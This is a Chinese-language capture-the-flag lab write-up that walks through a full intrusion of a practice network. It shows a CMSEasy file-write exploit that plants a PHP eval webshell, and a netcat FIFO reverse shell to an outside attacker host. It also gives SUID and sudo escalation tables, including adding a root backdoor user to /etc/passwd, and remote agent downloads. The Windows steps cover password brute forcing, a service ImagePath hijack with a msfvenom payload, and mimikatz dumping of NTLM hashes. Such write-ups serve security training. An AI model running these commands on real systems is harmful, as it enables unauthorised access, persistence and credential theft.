入口39.98.113.110
./fscan_mac_arm64 -h 39.98.109.164 -p 1-65535
___ _
/ _ \ ___ ___ _ __ __ _ ___| | __
/ /_\/____/ __|/ __| '__/ _` |/ __| |/ /
/ /_\\_____\__ \ (__| | | (_| | (__| <
\____/ |___/\___|_| \__,_|\___|_|\_\
fscan version: 1.8.3
start infoscan
39.98.109.164:22 open
39.98.109.164:80 open
39.98.109.164:3306 open
[*] alive ports len is: 3
start vulscan
[*] WebTitle http://39.98.109.164 code:200 len:68108 title:中文网页标题
已完成 3/3
[*] 扫描结束,耗时: 3m34.514557833
第一台39.99.226.102:80/172.22.4.36
cmseasy网站(任意文件写入)

查看源代码,发现版本7_7_5 查版本历史漏洞
后台漏洞,需登录。
POST /index.php?case=template&act=save&admin_dir=admin&site=default HTTP/1.1
Host: 192.168.31.96
Content-Length: 57
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0
Content-Type: application/x-www-form-urlencoded;
Cookie: login_username=admin; login_password=357fce333f91905f3e7342d10e5a5ce4;
Connection: close
sid=#data_d_.._d_.._d_.._d_1.php&slen=693&scontent=<?php phpinfo();?>
扫后台
python3 dirsearch.py -u http://39.99.226.102:80
/Volumes/N1/hackerTools/信息收集/dirsearch-master/lib/core/installation.py:24: UserWarning: pkg_resources is deprecated as an API. See https://setuptools.pypa.io/en/latest/pkg_resources.html. The pkg_resources package is slated for removal as early as 2025-11-30. Refrain from using this package or pin to Setuptools<81.
import pkg_resources
_|. _ _ _ _ _ _|_ v0.4.3
(_||| _) (/_(_|| (_| )
Extensions: php, asp, aspx, jsp, html, htm | HTTP method: GET | Threads: 25 | Wordlist size: 12293
Target: http://39.99.226.102/
[20:01:01] Scanning:
[20:01:02] 301 - 313B - /html -> http://39.99.226.102/html/
[20:01:10] 403 - 278B - /.php
[20:01:13] 200 - 504B - /404.php
[20:01:16] 301 - 314B - /admin -> http://39.99.226.102/admin/
[20:01:17] 200 - 64B - /admin/
[20:01:17] 403 - 278B - /admin/.htaccess
[20:01:17] 200 - 64B - /admin/index.php
[20:01:25] 301 - 312B - /api -> http://39.99.226.102/api/
[20:01:25] 200 - 1KB - /api/
[20:01:26] 301 - 313B - /apps -> http://39.99.226.102/apps/
[20:01:26] 200 - 738B - /apps/
[20:01:28] 301 - 314B - /cache -> http://39.99.226.102/cache/
[20:01:28] 200 - 1KB - /cache/
[20:01:30] 200 - 0B - /command.php
[20:01:30] 200 - 2KB - /common/
[20:01:30] 301 - 315B - /common -> http://39.99.226.102/common/
[20:01:31] 301 - 315B - /config -> http://39.99.226.102/config/
[20:01:31] 200 - 3KB - /config/
[20:01:33] 301 - 313B - /data -> http://39.99.226.102/data/
[20:01:33] 200 - 5KB - /data/
[20:01:38] 301 - 311B - /en -> http://39.99.226.102/en/
[20:01:39] 200 - 4KB - /favicon.ico
[20:01:42] 200 - 932B - /html/
[20:01:42] 200 - 6KB - /images/
[20:01:42] 301 - 315B - /images -> http://39.99.226.102/images/
[20:01:43] 200 - 67KB - /index.php
[20:01:43] 200 - 67KB - /index.php/login/
[20:01:48] 301 - 313B - /lang -> http://39.99.226.102/lang/
[20:01:48] 301 - 312B - /lib -> http://39.99.226.102/lib/
[20:01:48] 200 - 2KB - /lib/
[20:01:49] 301 - 316B - /license -> http://39.99.226.102/license/
[20:02:23] 301 - 315B - /readme -> http://39.99.226.102/readme/
[20:02:24] 200 - 253B - /robots.txt
[20:02:25] 403 - 278B - /server-status
[20:02:25] 403 - 278B - /server-status/
[20:02:26] 301 - 316B - /sitemap -> http://39.99.226.102/sitemap/
[20:02:28] 301 - 317B - /template -> http://39.99.226.102/template/
[20:02:28] 200 - 1KB - /template/
后台地址
http://39.98.109.164/admin/index.php
弱口令admin 123456登录

写入webshell,更新登陆后的cookie
POST /index.php?case=template&act=save&admin_dir=admin&site=default HTTP/1.1
Host: 39.98.109.164
Content-Length: 57
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0
Content-Type: application/x-www-form-urlencoded;
Cookie: PHPSESSID=5r6rab1uj0on5ds843d7codflj; loginfalse74c6352c5a281ec5947783b8a186e225=1; login_username=admin; login_password=a14cdfc627cef32c707a7988e70c1313
sid=#data_d_.._d_.._d_.._d_2.php&slen=693&scontent=<?php eval($_POST["test"]);?>
http://39.98.109.164/2.php
密码test
home目录有flag但看不了

www-data权限,Ubuntu的64位机器
(www-data:/var/www/html) $ whoami
www-data
(www-data:/var/www/html) $ uname -a
Linux localhost 5.4.0-113-generic #127-Ubuntu SMP Wed May 18 14:30:56 UTC 2022 x86_64 x86_64 x86_64 GNU/Linux
curl ip.sb 发现靶机出网
(www-data:/var/www/html) $ curl ip.sb
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
0 0 0 0 0 0 0 0 --:--:-- --:--:-- --:--:-- 0 100 14 100 14 0 0 31 0 --:--:-- --:--:-- --:--:-- 31
39.98.109.164
反弹shell
使用bash不行,靶机是/bin/sh
(www-data:/var/www/html) $ bash -i >& /dev/tcp/8.148.247.172/4444 0>&1
/bin/sh: 1: Syntax error: Bad fd number
(www-data:/var/www/html) $ /bin/sh -i > /dev/tcp/8.148.247.172/4444 0<&1 2>&1
/bin/sh: 1: cannot create /dev/tcp/8.148.247.172/4444: Directory nonexistent
使用命名管道(FIFO)+ nc(最推荐)
rm -f /tmp/f; mkfifo /tmp/f; cat /tmp/f | sh -i 2>&1 | nc 8.148.247.172 4444 > /tmp/f
拿到shell

环境有python3
$ which python python3
/usr/bin/python3
用python拿到稳定shell
python3 -c 'import pty; pty.spawn("/bin/bash")'
如果 /bin/bash 不存在,换成 /bin/sh:
python3 -c 'import pty; pty.spawn("/bin/sh")'
如何拿到持久shell(可以挂后台的)
完整步骤(获得完整交互式 TTY)
从你当前的 /bin/sh 反弹 shell 中执行以下三步:
第 1 步:使用 Python 生成一个更好的 shell
python3 -c 'import pty; pty.spawn("/bin/bash")'
现在你有了一个基础交互界面(但仍不完美)。
第 2 步:设置终端环境变量(在刚生成的 bash 中执行)
export TERM=xterm-256color
第 3 步:将当前 shell 进程变为前台进程组(在你的攻击机本地操作)
在攻击机(8.148.247.172)的 nc 监听终端中,按下:
Ctrl+Z
这会挂起当前 nc 进程,回到你本地的 shell。
然后在攻击机的本地终端中执行:
stty raw -echo; fg
又会回到刚才的shell
stty raw -echo:关闭本地终端的回显和行缓冲fg:把刚才挂起的 nc 进程恢复到前台
此时按一次回车,你会重新进入目标机的 shell,并且获得了完整的 TTY 功能:
- ✅ Tab 补全
- ✅ 命令历史(上下箭头)
- ✅ Ctrl+C 不会杀死 shell(只会中断当前命令)
- ✅
su、sudo、less、vim等需要 TTY 的程序可以正常运行
查找flag
find / -name "*flag*" 2>/dev/null #2>/dev/null用于丢弃错误信息。
/home/flag/flag01.txt
www-data@localhost:/var/www/html$ cat /home/flag/flag01.txt
cat: /home/flag/flag01.txt: Permission denied
diff提权
suid:让普通用户执行该文件时,临时获得文件所有者的权限
SUID(Set User ID)提权是 Linux 系统中一种常见的提权方法。当可执行文件设置了 SUID 位且属主为 root,普通用户执行该文件时会临时获得 root 权限。
# 查找所有 SUID 文件
find / -perm -4000 2>/dev/null
# 或
find / -user root -perm -4000 2>/dev/null
SUID 的权限表示
ls -l /usr/bin/passwd
输出
-rwsr-xr-x 1 root root 68208 May 28 2020 /usr/bin/passwd
| 位置 | 字符 | 含义 |
|---|---|---|
| 第 4 位 | s | SUID 已设置,所有者是 root |
| 原本应该是 | x | 执行权限 |
s 代替 x | 表示有执行权限 + SUID |
普通用户执行 passwd 命令修改自己的密码
↓
passwd 文件有 SUID 权限,所有者是 root
↓
普通用户临时获得 root 权限
↓
可以修改 /etc/shadow(只有 root 能写)
↓
密码修改成功 ✅
常见 SUID 提权漏洞
| 程序 | 利用命令 | 说明 |
|---|---|---|
| find | find / -exec /bin/sh \; -quit | 执行 find 命令,-exec 参数执行 /bin/sh,获得 shell。如果 find 版本不支持 -quit,可用 find / -exec /bin/sh \; |
| vim | vim -c ':!/bin/sh' | 启动 vim,-c 参数执行命令 :!/bin/sh,打开 shell。进入 vim 后也可按 Esc 然后输入 :!/bin/sh |
| nano | 打开 nano 后按 Ctrl+R,再按 Ctrl+X | 1. nano /etc/passwd 2. 按 Ctrl+R(读取文件) 3. 按 Ctrl+X(执行命令) 4. 输入 /bin/sh 回车 |
| less | less /etc/passwd 后输入 !/bin/sh | 1. less /etc/passwd 2. 输入 !/bin/sh 3. 回车,获得 shell |
| more | more /etc/passwd 后输入 !/bin/sh | 1. more /etc/passwd 2. 输入 !/bin/sh 3. 回车,获得 shell |
| cp | cp /etc/passwd /tmp/passwd.bak 然后编辑 /tmp/passwd.bak 添加 root 用户 cp /tmp/passwd.bak /etc/passwd | 1. 备份 /etc/passwd 2. 用 openssl passwd -1 -salt abc 123456 生成密码 3. 添加 backdoor:$1$abc$...:0:0:root:/root:/bin/bash 4. 用 cp 覆盖 /etc/passwd 5. 用 su backdoor 密码 123456 获得 root |
| mv | mv /etc/passwd /etc/passwd.bak mv /tmp/my_passwd /etc/passwd | 类似 cp,将恶意 /etc/passwd 移到正确位置 |
| awk | awk 'BEGIN {system("/bin/sh")}' | 执行 awk,BEGIN 块中 system() 函数执行 /bin/sh,获得 shell |
| python | python -c 'import os; os.setuid(0); os.system("/bin/sh")' | 用 Python 执行: 1. import os – 导入 os 模块 2. os.setuid(0) – 将用户 ID 设为 0(root) 3. os.system("/bin/sh") – 启动 shell 获得 root shell |
以下这三种提权方式
| 程序 | 原理 |
|---|---|
| cp | 复制恶意文件覆盖系统关键文件(如 /etc/passwd) |
| mv | 移动恶意文件覆盖系统关键文件 |
| nano | 通过编辑功能直接修改系统关键文件 |
先了解要修改的目标文件格式:/etc/passwd 文件格式
用户名:密码占位符:UID:GID:描述:家目录:shell
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
| 字段 | 含义 |
|---|---|
用户名 | 登录名 |
x | 密码占位符(实际密码存在 /etc/shadow) |
UID | 0 表示 root 权限 |
GID | 组 ID |
描述 | 用户描述 |
家目录 | 用户的家目录 |
shell | 登录后使用的 shell |
关键:如果 UID=0,这个用户就拥有 root 权限。
我们需要生成一个密码,放在 /etc/passwd 的密码字段(替换 x)。
# 生成密码(在 Kali 上执行)
openssl passwd -1 -salt abc 123456
输出:
$1$abc$B3q8W5qZqVrJqVrJqVrJq.
| 参数 | 含义 |
|---|---|
-1 | 使用 MD5 加密 |
-salt abc | 指定盐值为 abc |
123456 | 明文密码 |
准备恶意 /etc/passwd 条目
backdoor:$1$abc$B3q8W5qZqVrJqVrJqVrJq.:0:0:root:/root:/bin/bash
| 字段 | 值 | 含义 |
|---|---|---|
| 用户名 | backdoor | 后门用户名 |
| 密码 | $1$abc$... | 密码 123456 的加密形式 |
| UID | 0 | root 权限 |
| GID | 0 | root 组 |
| 描述 | root | 描述信息 |
| 家目录 | /root | root 的家目录 |
| shell | /bin/bash | 可登录 shell |
SUID 提权的限制条件
| 条件 | 说明 |
|---|---|
| 文件所有者是 root | 才能提权到 root |
| 文件有 SUID 位 | -rws------ |
| 可以执行系统命令 | 程序本身支持命令执行 |
方法一:利用 cp 提权
# 1. 备份原文件(以防出错)
cp /etc/passwd /tmp/passwd.bak
# 2. 将恶意条目追加到文件末尾
echo 'backdoor:$1$abc$B3q8W5qZqVrJqVrJqVrJq.:0:0:root:/root:/bin/bash' >> /tmp/passwd.bak
# 3. 用 cp 覆盖原文件(因为 cp 有 SUID,可以覆盖 root 文件)
cp /tmp/passwd.bak /etc/passwd
# 4. 切换到后门用户
su backdoor
# 输入密码: 123456
# 5. 验证
whoami # 输出 root
方法二:利用 mv 提权
# 1. 备份原文件
cp /etc/passwd /tmp/passwd.bak #不过cp也要有suid权限
# 2. 创建恶意 passwd 文件
echo 'root:x:0:0:root:/root:/bin/bash' > /tmp/passwd.new
echo 'backdoor:$1$abc$B3q8W5qZqVrJqVrJqVrJq.:0:0:root:/root:/bin/bash' >> /tmp/passwd.new
# 保留原 root 行,添加后门用户
# 3. 用 mv 覆盖(mv 有 SUID)
mv /tmp/passwd.new /etc/passwd
# 4. 切换到后门用户
su backdoor
# 密码: 123456
# 5. 验证
whoami # root
方法三:利用 nano 提权
# 1. 用 nano 打开 /etc/passwd(因为有 SUID,可以编辑)
nano /etc/passwd
# 2. 在文件中添加一行(直接在原文件中编辑)
# 移动到文件末尾,添加:
backdoor:$1$abc$B3q8W5qZqVrJqVrJqVrJq.:0:0:root:/root:/bin/bash
# 3. 保存文件
# Ctrl+O 保存,Enter 确认
# Ctrl+X 退出
# 4. 切换到后门用户
su backdoor
# 密码: 123456
# 5. 验证
whoami # root
sudo提权:允许普通用户以 root(或其他用户)权限执行命令
查看当前用户的 sudo 权限
# 查看允许的命令
sudo -l
# 如果看到
(ALL) NOPASSWD: /usr/bin/find
(ALL) NOPASSWD: /usr/bin/vim
(ALL) NOPASSWD: /usr/bin/apt
| 允许的命令 | 提权方式 |
|---|---|
find | sudo find / -exec /bin/sh \; |
vim | sudo vim -c ':!/bin/sh' |
nano | sudo nano → Ctrl+R → Ctrl+X → !/bin/sh |
less / more | sudo less /etc/passwd → !/bin/sh |
awk | sudo awk 'BEGIN {system("/bin/sh")}' |
python | sudo python -c 'import os; os.system("/bin/sh")' |
perl | sudo perl -e 'exec "/bin/sh";' |
git | sudo git help config → !/bin/sh |
man | sudo man man → !/bin/sh |
tar | sudo tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/sh |
查找所有具有 SUID 权限的文件
www-data@localhost:/var/www/html$ find / -perm -u=s -type f 2>/dev/null
/usr/bin/stapbpf
/usr/bin/gpasswd
/usr/bin/chfn
/usr/bin/su
/usr/bin/chsh
/usr/bin/staprun
/usr/bin/at
/usr/bin/diff
/usr/bin/fusermount
/usr/bin/sudo
/usr/bin/mount
/usr/bin/newgrp
/usr/bin/umount
/usr/bin/passwd
/usr/lib/openssh/ssh-keysign
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/eject/dmcrypt-get-device
发现可疑文件/usr/bin/diff有suid权限,diff用root权限读取flag
www-data@localhost:/var/www/html$ /usr/bin/diff --line-format=%L /dev/null /home/flag/flag01.txt 2>/dev/null
____ U _____ u _ U _____ u ____ _ _____ U ___ u _ _
| _"\ \| ___"|/ |"| \| ___"|/U /"___|uU /"\ u |_ " _| ___ \/"_ \/ | \ |"|
/| | | | | _|" U | | u | _|" \| | _ / \/ _ \/ | | |_"_| | | | |<| \| |>
U| |_| |\| |___ \| |/__ | |___ | |_| | / ___ \ /| |\ | | .-,_| |_| |U| |\ |u
|____/ u|_____| |_____| |_____| \____| /_/ \_\ u |_|U U/| |\u\_)-\___/ |_| \_|
|||_ << >> // \\ << >> _)(|_ \\ >> _// \\_.-,_|___|_,-. \\ || \\,-.
(__)_) (__) (__)(_")("_)(__) (__) (__)__) (__) (__)(__) (__)\_)-' '-(_/ (__) (_") (_/
flag01: flag{ba7b541e-ae0a-4490-bf7b-94aa5b2446ce}
Great job!!!!!!
Here is the hint: WIN19\Adrian
I'll do whatever I can to rock you..
还给我一个提示
Here is the hint: WIN19\Adrian
另一张网卡172.22.4.36
www-data@localhost:/tmp$ ifconfig
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
inet 172.22.4.36 netmask 255.255.0.0 broadcast 172.22.255.255
inet6 fe80::216:3eff:fe3a:5de9 prefixlen 64 scopeid 0x20<link>
ether 00:16:3e:3a:5d:e9 txqueuelen 1000 (Ethernet)
RX packets 183523 bytes 196971261 (196.9 MB)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 68346 bytes 12633657 (12.6 MB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
上传fscan,stowaway
wget http://8.148.247.172:8000/fscan_linux_amd
chmod +x fscan_linux_amd
wget http://8.148.247.172:8000/linux_x64_agent
chmod +x linux_x64_agent
./linux_x64_agent -c 8.148.247.172:3344 --reconnect 8
www-data@localhost:/tmp$ ./fscan_linux_amd -h 172.22.4.36/24
___ _
/ _ \ ___ ___ _ __ __ _ ___| | __
/ /_\/____/ __|/ __| '__/ _` |/ __| |/ /
/ /_\\_____\__ \ (__| | | (_| | (__| <
\____/ |___/\___|_| \__,_|\___|_|\_\
fscan version: 1.8.4
start infoscan
trying RunIcmp2
The current user permissions unable to send icmp packets
start ping
(icmp) Target 172.22.4.7 is alive
(icmp) Target 172.22.4.19 is alive
(icmp) Target 172.22.4.36 is alive
(icmp) Target 172.22.4.45 is alive
[*] Icmp alive hosts len is: 4
172.22.4.45:80 open
172.22.4.36:80 open
172.22.4.36:22 open
172.22.4.36:21 open
172.22.4.19:139 open
172.22.4.45:135 open
172.22.4.7:139 open
172.22.4.45:445 open
172.22.4.19:445 open
172.22.4.7:445 open
172.22.4.19:135 open
172.22.4.7:135 open
172.22.4.7:88 open
172.22.4.45:139 open
172.22.4.36:3306 open
[*] alive ports len is: 15
start vulscan
[*] NetInfo
[*]172.22.4.45
[->]WIN19
[->]172.22.4.45
[*] NetBios 172.22.4.45 XIAORANG\WIN19
[*] OsInfo 172.22.4.7 (Windows Server 2016 Datacenter 14393)
[*] NetInfo
[*]172.22.4.7
[->]DC01
[->]172.22.4.7
[*] NetBios 172.22.4.7 [+] DC:DC01.xiaorang.lab Windows Server 2016 Datacenter 14393
[*] NetBios 172.22.4.19 FILESERVER.xiaorang.lab Windows Server 2016 Standard 14393
[*] NetInfo
[*]172.22.4.19
[->]FILESERVER
[->]172.22.4.19
[*] WebTitle http://172.22.4.36 code:200 len:68100 title:中文网页标题
[*] WebTitle http://172.22.4.45 code:200 len:703 title:IIS Windows Server
已完成 14/15 [-] ftp 172.22.4.36:21 ftp ftp123 530 Login incorrect.
[*] NetInfo
[*]172.22.4.7
[->]DC01
[->]172.22.4.7
[*] NetBios 172.22.4.7 [+] DC:DC01.xiaorang.lab Windows Server 2016 Datacenter 14393
- NetBIOS 名称中明确包含
DC:前缀 → 表示 Domain Controller - 主机名
DC01,域名xiaorang.lab - 操作系统类型和版本号明确标出:Windows Server 2016 Datacenter 14393
[*] NetBios 172.22.4.19 FILESERVER.xiaorang.lab Windows Server 2016 Standard 14393
[*] NetInfo
[*]172.22.4.19
[->]FILESERVER
主机名直接叫 FILESERVER
开放端口:135、139、445(典型文件共享端口)
[*] NetInfo
[*]172.22.4.45
[->]WIN19
[*] NetBios 172.22.4.45 XIAORANG\WIN19
NetBIOS 名称为 WIN19,没有 DC: 标识
工作组XIAORANG,主机名WIN19
分析一下
172.22.4.36 已经拿下
172.22.4.45 XIAORANG\WIN19(工作组\主机名) WIN19\Adrian(主机名\用户名),Adrian是靶场的提示
172.22.4.19 FILESERVER FILESERVER.xiaorang.lab
172.22.4.7 DC01.xiaorang.lab
172.22.4.45
知道用户名 Adrian 后,可以结合 WIN19 主机进行弱口令/密码爆破:
| 服务 | 目标 | 用户名 | 密码尝试 |
|---|---|---|---|
| SMB | 172.22.4.45:445 | Adrian | 空密码、Adrian、123456 等 |
| RDP | 172.22.4.45:3389(未扫描,但通常存在) | Adrian | 同上 |
| WinRM | 172.22.4.45:5985/5986 | Adrian | 同上 |
扫全端口,发现45这台机器开了33389rdp服务
www-data@localhost:/tmp$ ./fscan_linux_amd -h 172.22.4.45 -p 1-65535
___ _
/ _ \ ___ ___ _ __ __ _ ___| | __
/ /_\/____/ __|/ __| '__/ _` |/ __| |/ /
/ /_\\_____\__ \ (__| | | (_| | (__| <
\____/ |___/\___|_| \__,_|\___|_|\_\
fscan version: 1.8.4
start infoscan
172.22.4.45:445 open
172.22.4.45:80 open
172.22.4.45:139 open
172.22.4.45:135 open
172.22.4.45:515 open
172.22.4.45:3389 open
172.22.4.45:15774 open
proxychains配置代理
vim /etc/proxychains4.conf
[ProxyList]
# 添加你的代理
socks5 8.148.247.172 10001
优先级 1:RDP 弱口令爆破
# 使用 hydra 爆破 RDP
hydra -l Adrian -P /usr/share/wordlists/rockyou.txt 172.22.4.45 rdp -vV
无效密码的 hydra 输出(如 123456、password 等):
text
[ERROR] freerdp: The connection failed to establish.
有效密码的 hydra 输出(如 babygirl1):
text
[3389][rdp] account on 172.22.4.45 might be valid...
babygirl1 没有 [ERROR] 行,而是直接输出 might be valid → 说明密码被 RDP 服务接受。
优先级 2:SMB 弱口令爆破(结合 Adrian)
445端口 (TCP) – 现代 SMB 139 端口(TCP) – 旧版 NetBIOS
proxychains4 crackmapexec smb 172.22.4.45 -u Adrian -p /usr/share/wordlists/rockyou.txt -d WIN19
这是smb爆破时,显示
在 crackmapexec 的输出中,你找到了一个 非常关键的差异:
SMB 172.22.4.45 445 WIN19 [-] WIN19\Adrian:babygirl1 STATUS_PASSWORD_EXPIRED
而其他所有密码都显示:
SMB 172.22.4.45 445 WIN19 [-] WIN19\Adrian:任意密码 STATUS_LOGON_FAILURE
| 状态码 | 含义 | 说明 |
|---|---|---|
STATUS_LOGON_FAILURE | 登录失败 | 用户名或密码错误 |
STATUS_PASSWORD_EXPIRED | 密码已过期 | 用户名和密码正确,但密码需要修改 |
核心逻辑:
- 只有在密码正确的情况下,Windows 才会检查密码是否过期
- 如果密码错误,Windows 直接返回
STATUS_LOGON_FAILURE,不会告诉客户端密码过期状态
第一步:确认凭证是否有效
# 在 Kali 上执行
crackmapexec smb 172.22.4.45 -u Adrian -p 'babygirl1'
预期输出:
SMB 172.22.4.45 445 WIN19 [+] WIN19\Adrian:babygirl1
如果没有 [+],说明凭证无效。
第二步:查看 Adrian 有哪些共享权限
# 列出所有共享
crackmapexec smb 172.22.4.45 -u Adrian -p 'babygirl1' --shares
或者用 smbclient:
smbclient -L //172.22.4.45 -U Adrian%babygirl1
输出示例:
Sharename Type Comment
--------- ---- -------
ADMIN$ Disk 远程管理
C$ Disk 默认共享
IPC$ IPC 远程 IPC
Users Disk
Public Disk
第三步:尝试连接共享
根据上面的输出,尝试连接可访问的共享:
# 尝试连接 Users 共享
smbclient //172.22.4.45/Users -U Adrian%babygirl1
# 如果成功,浏览文件
smb: \> ls
smb: \> cd Adrian\Desktop
smb: \> get flag.txt
smb: \> put shell.exe
注意:C$ 和 ADMIN$ 通常只有管理员能访问,Adrian 很可能进不去。
第四步:如果 Adrian 是普通用户,不能直接执行命令
普通用户不能使用 psexec 或 wmiexec。但可以:
4.1 上传文件到可写共享
# 如果 Public 共享可写
smbclient //172.22.4.45/Public -U Adrian%babygirl1 -c 'put /tmp/shell.exe shell.exe'
4.2 下载敏感文件
# 下载共享中的文件
smbclient //172.22.4.45/Users -U Adrian%babygirl1 -c 'get "Adrian\\Desktop\\note.txt"'
优先级 3:如果爆破成功,直接 RDP 登录
# 使用 rdesktop
rdesktop -u Adrian 172.22.4.45
这是用windows自带的mstsc登录密码显示过期,不能修改密码,只能用kali的rdesktop登陆
更改密码为
babygirl2

在桌面发现后门,把生成的html文件看一下

发现可以修改注册表gupdate

翻译即

| 项目 | 值 | 说明 |
|---|---|---|
| 服务名称 | gupdate | Google Update 服务 |
| 服务状态 | Stoped | 服务当前未运行 |
| 启动权限 | UserCanStart = True | ✅ 当前用户可以启动服务 |
| 停止权限 | UserCanStop = True | ✅ 当前用户可以停止服务 |
| 重启权限 | UserCanRestart = True | ✅ 当前用户可以重启服务 |
| 服务账户 | LocalSystem | 🔴 是以最高权限system运行这个update服务 |
| 注册表路径 | HKLMI\SYSTEM\...\gupdate | 服务配置在注册表中 |
| 权限 | BUILTIN\Users 有 WriteOwner、WriteDAC 等 | 🔴 BUILTIN\Users组(所有普通用户都是这个组),凡史这个组的用户的用户(包括你当前的 Adrian 用户)都有WriteOwner和WriteDAC权限,可以修改服务配置 |
BUILTIN\Users 对服务注册表有:
- WriteOwner (可以修改所有者)
- WriteDAC (可以修改权限)
- CreateLink (可以创建链接)
reg query HKLM\SYSTEM\CurrentControlSet\Services\gupdate

提权原理
普通用户 Adrian 可以修改 gupdate 服务的配置
可以将服务的 ImagePath 改为任意恶意程序(比如后门)
服务以 LocalSystem 权限运行 → 启动后后门获得 SYSTEM 权限
改cmd.exe发现根本无法正常启动
reg add HKLM\SYSTEM\CurrentControlSet\Services\gupdate /v ImagePath /t REG_EXPAND_SZ /d "C:\windows\system32\cmd.exe"
改cmd.exe发现根本无法正常启动
于是直接生成一个msf正向连接的木马直接上线msf
msfvenom -p windows/meterpreter/bind_tcp LPORT=7788 -f exe > 7788.exe
reg add HKLM\SYSTEM\CurrentControlSet\Services\gupdate /v ImagePath /t REG_EXPAND_SZ /d "C:\Users\Adrian\Desktop\7788.exe"
sc start gupdate
kali无法把后门拖进rdesktop
那就用宿主机配置proxyfile,用远程连接连靶机(因为我前面给Adrian 用户改过密码了,所以可以直接登了)
msf6 > use exploit/multi/handler
msf6 > set payload windows/meterpreter/bind_tcp
msf6 > set RHOST 172.22.4.45
msf6 > set LPORT 7788
msf exploit(multi/handler) > run
[*] Started bind TCP handler against 172.22.4.45:7788
[*] Sending stage (190534 bytes) to 172.22.4.45
[*] Meterpreter session 2 opened (10.211.55.4:46183 -> 172.22.4.45:7788) at 2026-05-14 18:31:45 +0800
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
拿到SYSTEM权限
但是很快就die了

做下进程迁移 ps查看下pid 然后在使用migrate 进行迁移,随便注入一个system的进程
llExperienceHost.exe
4872 568 svchost.exe x64 0 NT AUTHORITY\LOCAL SERVICE C:\Windows\System32\svchost.exe
4964 568 svchost.exe x64 0 NT AUTHORITY\SYSTEM C:\Windows\System32\svchost.exe
5024 568 svchost.exe x64 0 NT AUTHORITY\SYSTEM C:\Windows\System32\svchost.exe
5152 708 RuntimeBroker.exe x64 2 WIN19\Adrian C:\Windows\System32\RuntimeBroker.exe
5356 4628 iexplore.exe x86 2 WIN19\Adrian C:\Program Files (x86)\Internet Explorer\iexplore.exe
5848 708 RuntimeBroker.exe x64 2 WIN19\Adrian C:\Windows\System32\RuntimeBroker.exe
5900 1212 sc.exe x64 2 WIN19\Adrian C:\Windows\System32\sc.exe
5992 568 7788.exe x86 0 NT AUTHORITY\SYSTEM C:\Users\Adrian\Desktop\7788.exe
6036 568 svchost.exe x64 0 NT AUTHORITY\SYSTEM C:\Windows\System32\svchost.exe
meterpreter > migrate 5024
[*] Migrating from 5992 to 5024...
[*] Migration completed successfully
查看flag,在 C:\ 盘下递归查找名为 flag(任何扩展名)的文件。
C:\Windows\system32>dir C:\*flag* /s /b
dir C:\*flag* /s /b
C:\Program Files (x86)\Alibaba\Aegis\PythonLoader\third_party\pymysql\constants\FLAG.py
C:\Users\Administrator\flag
C:\Users\Administrator\AppData\Roaming\Microsoft\Windows\Recent\flag.lnk
C:\Users\Administrator\AppData\Roaming\Microsoft\Windows\Recent\flag02.txt.lnk
C:\Users\Administrator\flag\flag02.txt
C:\Windows\system32>type C:\Users\Administrator\flag\flag02.txt
type C:\Users\Administrator\flag\flag02.txt
________ _______ ___ _______ ________ ________ _________ ___ ________ ________
|\ ___ \|\ ___ \ |\ \ |\ ___ \ |\ ____\|\ __ \|\___ ___\\ \|\ __ \|\ ___ \
\ \ \_|\ \ \ __/|\ \ \ \ \ __/|\ \ \___|\ \ \|\ \|___ \ \_\ \ \ \ \|\ \ \ \\ \ \
\ \ \ \\ \ \ \_|/_\ \ \ \ \ \_|/_\ \ \ __\ \ __ \ \ \ \ \ \ \ \ \\\ \ \ \\ \ \
\ \ \_\\ \ \ \_|\ \ \ \____\ \ \_|\ \ \ \|\ \ \ \ \ \ \ \ \ \ \ \ \ \\\ \ \ \\ \ \
\ \_______\ \_______\ \_______\ \_______\ \_______\ \__\ \__\ \ \__\ \ \__\ \_______\ \__\\ \__\
\|_______|\|_______|\|_______|\|_______|\|_______|\|__|\|__| \|__| \|__|\|_______|\|__| \|__|
flag02: flag{78d1000c-603e-49cb-a6f5-9bd52adff795}
先加载好Kiwi (Mimikatz)
meterpreter > load kiwi
Loading extension kiwi...
.#####. mimikatz 2.2.0 20191125 (x64/windows)
.## ^ ##. "A La Vie, A L'Amour" - (oe.eo)
## / \ ## /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
## \ / ## > http://blog.gentilkiwi.com/mimikatz
'## v ##' Vincent LE TOUX ( vincent.letoux@gmail.com )
'#####' > http://pingcastle.com / http://mysmartlogon.com ***/
Success.
meterpreter >
load kiwi 加载Kiwi
help kiwi 查看帮助
hashdump 抓取密码哈希
kiwi_cmd "sekurlsa::msv" 查看当前用户凭证
kiwi_cmd "sekurlsa::tspkg" 查看所有会话的凭证
kiwi_cmd "kerberos::list" 查看 Kerberos 票据
creds_all抓取明文密码(需要 SYSTEM 权限)
meterpreter > creds_all
[+] Running as SYSTEM
[*] Retrieving all credentials
msv credentials
===============
Username Domain NTLM SHA1
-------- ------ ---- ----
Adrian WIN19 5743400194e8ca4db47066363fd139f3 bf6f27548aad09b1d07198dcb912acb5e6a8325f
WIN19$ XIAORANG ec29e710d35b2d888f3b022892cda412 ecff2919737775e9addfb11f8a580f2612d168e3
WIN19$ XIAORANG 5943c35371c96f19bda7b8e67d041727 5a4dc280e89974fdec8cf1b2b76399d26f39b8f8
wdigest credentials
===================
Username Domain Password
-------- ------ --------
(null) (null) (null)
Adrian WIN19 (null)
WIN19$ XIAORANG (null)
kerberos credentials
====================
Username Domain Password
-------- ------ --------
(null) (null) (null)
Adrian WIN19 (null)
WIN19$ xiaorang.lab 6e 1f 0f ee bf 61 15 c5 37 bf 3a e4 64 e7 69 e3 a0 65 8a 20 3a 43 ee a3 ce 80 d7 e5 9f 90 ea 3e 0d 9d 30 18 40 27 00 1a
